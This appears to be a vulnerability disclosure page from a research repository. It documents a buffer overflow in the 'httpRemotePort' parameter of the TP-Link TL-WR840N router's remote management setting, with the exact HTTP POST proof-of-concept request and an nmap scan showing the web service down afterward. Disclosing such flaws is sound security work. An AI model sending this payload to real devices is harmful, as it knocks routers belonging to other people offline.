



 main ▾

...

[Hardware-IoT](#) / `tp-link tl-wr840n_httpRemotePort=.pdf`

 [Quadron-Research-Lab](#) [Add files via upload](#) [History](#)

 1 contributor

181 KB

...

tp-link tl-wr840n

hardware version: v6.20

firmware version: 0.9.1 4.16 v0001.0 Build 180614 Rel.40494n

Security-> Remote Management

TP-Link Wireless N Router WR840N
Model No. TL-WR840N

Remote Management

Web Management Port:

Remote Management IP Address: (Enter 255.255.255.255 for all)

Save

”httpRemotePort=” parameter buffer overflow.

```
POST /cgi?242 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: hu-HU,hu;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 117
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: compact_display_state=false; user_ip=0.0.0.0; device_mode=router; user_login=admin; device-session-id=0f6c4fb7a7ab754efe064d13c69f759; JSESSIONID=9a5b68bb06e0f5330ab8da59f7b111; Authorization=Basic YWRkaW46TWItaW4=

[HTTP_CF680,0,0,0,0,0,0,0,0,0,0,0,0,2
httpRemoteEnabled=0
httpRemotePort=00AAAAAAAAAAAAAAAAAAAA
[APP_CF680,0,0,0,0,0,0,0,0,0,0,0,0,1,0
```

```
C:\WINDOWS\system32>nmap -sV -p80 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-06 15:52 K:zUp-eur`pai túli ido
Nmap scan report for 192.168.0.1
Host is up (0.0034s latency).

PORT      STATE SERVICE VERSION
80/tcp    closed http
MAC Address: C8:C9:E3:32:6C:12 (Unknown)
```